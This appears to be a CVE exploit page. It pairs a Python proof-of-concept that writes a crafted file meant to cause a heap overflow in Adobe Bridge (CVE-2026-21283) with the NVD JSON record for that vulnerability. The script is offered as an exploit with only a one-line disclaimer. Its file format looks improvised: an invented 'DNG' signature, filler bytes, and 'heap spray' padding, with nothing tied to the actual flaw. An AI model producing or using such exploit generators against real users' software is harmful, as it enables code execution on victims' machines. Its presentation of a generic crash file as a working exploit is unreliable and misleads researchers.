CVE-2026-21283

# CVE-2026-21283 PoC - Adobe Bridge Heap Buffer Overflow # This PoC generates a malicious file that triggers heap overflow in Adobe Bridge import struct import os def create_malicious_file(filename): """ Generate a malicious file to trigger CVE-2026-21283 Adobe Bridge Heap-based Buffer Overflow """ # Craft malicious file header for Adobe Bridge malicious_content = bytearray() # File signature (Adobe Bridge specific format) malicious_content.extend(b'DNG\x00') # Malformed DNG header # Craft oversized metadata to trigger heap overflow # The overflow occurs when Bridge processes XMP metadata oversized_metadata = b'<x:xmpmeta>' + b'A' * 65536 + b'</x:xmpmeta>' malicious_content.extend(oversized_metadata) # Add crafted IFD (Image File Directory) with corrupted count malicious_content.extend(struct.pack('<H', 0xFFFF)) # Corrupted tag count # Add padding to ensure heap corruption malicious_content.extend(b'\x41' * 16384) # Heap spray padding # Write malicious file with open(filename, 'wb') as f: f.write(malicious_content) print(f"[+] Malicious file created: {filename}") print(f"[+] File size: {len(malicious_content)} bytes") print("[*] When opened in Adobe Bridge, this file triggers heap overflow") if __name__ == "__main__": poc_filename = "CVE-2026-21283_poc.bridge" create_malicious_file(poc_filename) print("\n[!] Disclaimer: This PoC is for educational and security research purposes only")

{"cve": {"id": "CVE-2026-21283", "sourceIdentifier": "[email protected]", "published": "2026-01-13T19:16:26.013", "lastModified": "2026-01-14T19:28:34.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bridge versions 15.1.2, 16.0 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}, {"lang": "es", "value": "Las versiones de Bridge 15.1.2, 16.0 y anteriores se ven afectadas por una vulnerabilidad de desbordamiento de búfer basado en montículo que podría resultar en ejecución de código arbitrario en el contexto del usuario actual. La explotación de este problema requiere interacción del usuario en el sentido de que una víctima debe abrir un archivo malicioso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.1.3", "matchCriteriaId": "9C0BA424-C0E5-4691-8B1F-342C403F9EC0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "55CB1268-875B-498A-B7B1-91D3DD31F315"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/bridge/apsb26-07.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}